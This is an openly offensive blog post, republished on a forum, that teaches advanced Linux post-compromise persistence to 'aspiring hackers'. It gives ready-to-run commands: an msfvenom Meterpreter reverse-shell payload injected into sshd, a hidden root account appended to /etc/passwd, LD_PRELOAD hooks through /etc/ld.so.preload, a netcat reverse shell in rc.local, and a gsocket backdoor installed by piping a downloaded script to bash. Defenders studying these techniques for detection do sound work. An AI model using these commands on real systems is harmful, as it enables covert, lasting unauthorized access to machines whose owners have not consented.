National Cyber Warfare Foundation (NCWF)

Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target


0 user ratings
2025-10-03 16:47:29
milo
Red Team (CNA)

From memory-only implants and OS configuration tricks to LD_PRELOAD hooks, rc.local startup hooks, and cloud-relay tunneling. A strategic playbook shows how advanced techniques complement basic persistence to build a resilient foothold.


The post Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target first appeared on Hackers Arise.



Welcome back, aspiring hackers!









In part one of our Linux persistence series, we covered the basics – the quick wins that keep you connected after a compromise. Now it’s time to take things up a notch. In this part, we’re going to dive into techniques that give you more flexibility, more stealth, and in some cases, more durability than the simple shell loops, autostarts, and cron jobs we looked at before.





We’ll start with in-memory payloads, where nothing ever touches disk, making them almost invisible while they’re running. Then we’ll look at persistence through operating system configuration changes. No malware needed, just some creative abuse of the system’s own settings. From there, we’ll move into LD_PRELOAD, a legitimate Linux feature that can quietly hook into processes and run our code without launching any suspicious binaries. We’ll also talk about rc.local for those times you want a simple, one-shot startup hook, and we’ll finish with gsocket, a powerful tunneling tool that can keep a connection alive even when the network is working against you.





By the end of this part, you’ll have a toolkit that covers both stealthy short-term access and long-term, hard-to-shake persistence. And if you combine what we’ve done here with the foundations from part one, you’ll have the range to adapt to just about any post-exploitation environment.





In-Memory





An in-memory backdoor is a persistence-adjacent technique aimed at maintaining control without leaving forensic traces on disk. Instead of writing a payload to the filesystem, you inject it directly into the memory space of a running process. This approach is attractive when stealth is a higher priority than durability, as most antivirus solutions perform limited real-time inspection of memory. Even technically adept users are unlikely to notice a malicious implant if it resides inside a legitimate, already-running process.





In this example, the chosen payload is Meterpreter, a well-known tool capable of operating entirely in memory. A typical workflow might look like this:





c2 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin





creating an in-memory payload with msfvenom




Here, msfvenom generates a raw Meterpreter reverse TCP payload configured to connect back to our C2 at the specified host and port. 





exitfunc=thread controls how the payload cleans up when it finishes or encounters an error. Thread means it will terminate only the thread it is running in, leaving the rest of the host process alive. This is critical for in-memory injection into legitimate processes because it avoids crashing them and raising suspicion.





StagerRetryCount=999999 instructs the stager to retry the connection up to 999,999 times if it fails. Without this, a dropped connection might require re-injecting the payload. With it, the backdoor keeps trying indefinitely until we are ready to receive the connection.





With pgrep you list processes to inject your payload into





target#> pgrep -x sshd





finding a process with pgrep to inject the in-memory payload into with




target#> mv /root/meter64.bin /root/mmap64.bin





target#> inject_linux 1032 mmap64.bin





injecting the in-memory payload with inject_linux into a process




The inject_linux utility then injects the binary blob into the process identified by PID, causing that process to execute the payload entirely in memory. No new file is created on disk, and no service or scheduled task is registered. Note, you might need to rename your payload as mmap64.bin.





receiving a reverse connection




Pros: Works under any user account, extremely difficult for a human observer to detect, and avoids leaving traditional artifacts like startup entries or executable files on disk.





Cons: Does not survive a reboot. The moment the system restarts or the host process ends, the implant disappears.





While this method lacks persistence in the strict sense, it provides a highly covert foothold for as long as the target system remains powered on. In a layered intrusion strategy, in-memory implants can complement more traditional persistence mechanisms by offering an immediately available, stealthy access channel alongside longer-lived backdoors.





Configs





Persistence through configuration changes takes a different path from typical backdoors or reverse shells. Instead of running malicious code, it manipulates the operating system’s own settings to ensure we can regain access later. Because there is no executable payload, such changes are far less likely to trigger antivirus detection. However, this method is viable only when you have direct access to the target system and sufficient privileges to modify core configuration files.





One of the most common examples is creating a hidden user account that can be used for future remote logins. In the example:





target# > openssl passwd -1 -salt test P@ssw0rd123





target# > echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' >> /etc/passwd





creating a hidden user with a root shell




The first command uses openssl passwd with the -1 flag to generate an MD5-based hashed password (-salt test specifies a custom salt, here “test”) for the chosen password P@ssw0rd123. The output is a string in the format expected by /etc/passwd.





The second command appends a new entry to /etc/passwd for a user named post, with the generated password hash, UID 0, and GID 0 (making it equivalent to the root user), no home directory, and /bin/sh as its shell. This effectively creates a hidden superuser account.





Finally, make sure you have modified the /etc/ssh/sshd_config file to ensure that root (and by extension, the post account with UID 0) can log in over SSH (PermitRootLogin yes). This ensures you can reconnect remotely, provided the target system is reachable over the network.





editing the sshd_config to allow root login




After that restart the SSH service





target# > service sshd restart





connecting via ssh




Pros:  Survives reboots, and does not require running any malicious executable.





Cons: Requires administrative or root privileges to modify system files, and is ineffective if the machine is behind NAT or a restrictive firewall that blocks inbound connections.





This method is a pure OS-level manipulation. It leaves no malicious process in memory, but its success depends entirely on your ability to later connect directly to the host. In targeted intrusions, it is often combined with other persistence methods to ensure redundancy.





LD_PRELOAD





Using LD_PRELOAD for persistence takes advantage of a legitimate dynamic linking feature in Linux to inject custom code into every newly launched process. The LD_PRELOAD environment variable tells the dynamic linker to load a specified shared library before any others, allowing our code to override or hook standard library functions in user-space applications. This approach can be used to execute arbitrary logic, including establishing a shell or logging credentials.






First we create a meter.c file which will later be compiled into meter.so





target# > nano meter.c





creating a meter.c file for LD_PRELOAD persistence




Then the payload is compiled with the following command:





c2 > gcc -fPIC -shared -o meter.so meter.c





comping the meter.c file




Next you write the path to your shared object (meter.so) into /etc/ld.so.preload. This file is consulted by the dynamic linker globally, meaning every dynamically linked binary will load the specified library, regardless of which user runs it. This requires root privileges.





target#> echo /path/to/meter.so >> /etc/ld.so.preload





Then you add an export LD_PRELOAD=/path/to/meter.so line to /etc/profile, ensuring that all users who log in through an interactive shell will have the environment variable set automatically





target#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile





This command does the same but only for a single user by appending the export command to that user’s ~/.bashrc





target$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc





Pros: Survives reboots, works under any user account, and can be applied system-wide or per-user. It allows the injected code to run within the context of legitimate processes, making detection harder.





Cons: The execution interval is uncontrolled, as code runs only when a new process starts, so reconnection timing is less predictable than with scheduled tasks or services.





rc.local





Persistence via rc.local relies on a legacy startup mechanism in Linux systems. The /etc/rc.local script, if present and executable, is run automatically by the init system once at the end of the multi-user boot sequence. By inserting a command into this file, we can ensure our payload executes automatically the next time the system restarts.





target#> echo "nc C2_IP 8888 -e /bin/bash &" >> /etc/rc.local





creating rc.local persistence




This appends a netcat command to /etc/rc.local that, when executed, connects back to our host on port 8888 and spawns /bin/bash, providing an interactive reverse shell. The ampersand (&) runs it in the background so it does not block the rest of the boot process.





Because rc.local executes only once during startup, the payload will not continuously attempt reconnection. It will run a single time after each reboot. If the connection fails at that moment, for instance, if your listener is not ready or the network link is down, no further attempts will be made until the next reboot.





Pros: Survives reboots and is simple to implement.





Cons: Requires root privileges to modify /etc/rc.local, and the execution interval is uncontrolled, it runs only once per boot, offering no retry mechanism between reboots.





While this method is straightforward and low-profile, it is limited in reliability. In modern Linux distributions, rc.local is often disabled by default or replaced by systemd service files, making it more of a legacy technique. For attackers seeking long-term, automated persistence, it’s usually combined with other methods that retry connections or run continuously.





Gsocket





Gsocket is a cloud relay both sides connect to, linking their outbound connections into a single encrypted two-way tunnel. From our perspective as attackers, that’s gold: we don’t need an open inbound port on the victim, we don’t have to wrestle with NATs or port-forwards, and a single cloud broker becomes a C2 for many targets. Long-lived outbound TLS-like streams blend into normal egress traffic, so the connection looks far less suspicious than an exposed listener.





We like Gsocket, because it massively reduces operational overhead. There is less infrastructure to maintain and much better success rates in restrictive networks because everything is outbound.





Here is how you install it on the target:





target# > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"





target$ > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"





installing gs-netcat on the target




Next, install it on your C2 and access it with the secret key





c2 > sudo apt install gsocket





c2 > gs-netcat -s “secret key” -i





installing gs-netcat and connecting to the target




More information can be found here:





https://www.gsocket.io/deploy





Pros: A stealthy way to establish remote access, pivot, exfiltrate data, or maintain a backdoor, especially in complex network environments.





Cons: Leaves traces, like persistent scripts or network access patterns and reliance on a shared secret requires careful secret management.





Summary





In part two, we stepped away from the basics and explored persistence and access techniques that push deeper into stealth and adaptability. We started with in-memory backdoors, great for situations where avoiding detection matters more than surviving a reboot. We then moved on to persistence through config changes, such as creating hidden users in /etc/passwd, which survive reboots without needing any malicious process running. After that, we covered LD_PRELOAD, a dynamic linker trick that quietly injects code into normal processes. We looked at rc.local for quick, legacy-style startup hooks, and wrapped up with gsocket, a tunneling tool that can keep a lifeline open even through restrictive firewalls or NAT.





Together, these two parts give you a layered approach: fast, simple persistence to hold your ground, plus stealthy, advanced techniques to stay in control for the long haul.

The post Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target first appeared on Hackers Arise.



Source: HackersArise
Source Link: https://hackers-arise.com/advanced-linux-persistence-strategies-for-remaining-inside-a-linux-target/


Comments
new comment
Nobody has commented yet. Will you be the first?
 
Forum
Red Team (CNA)



Copyright 2012 through 2025 - National Cyber Warfare Foundation - All rights reserved worldwide.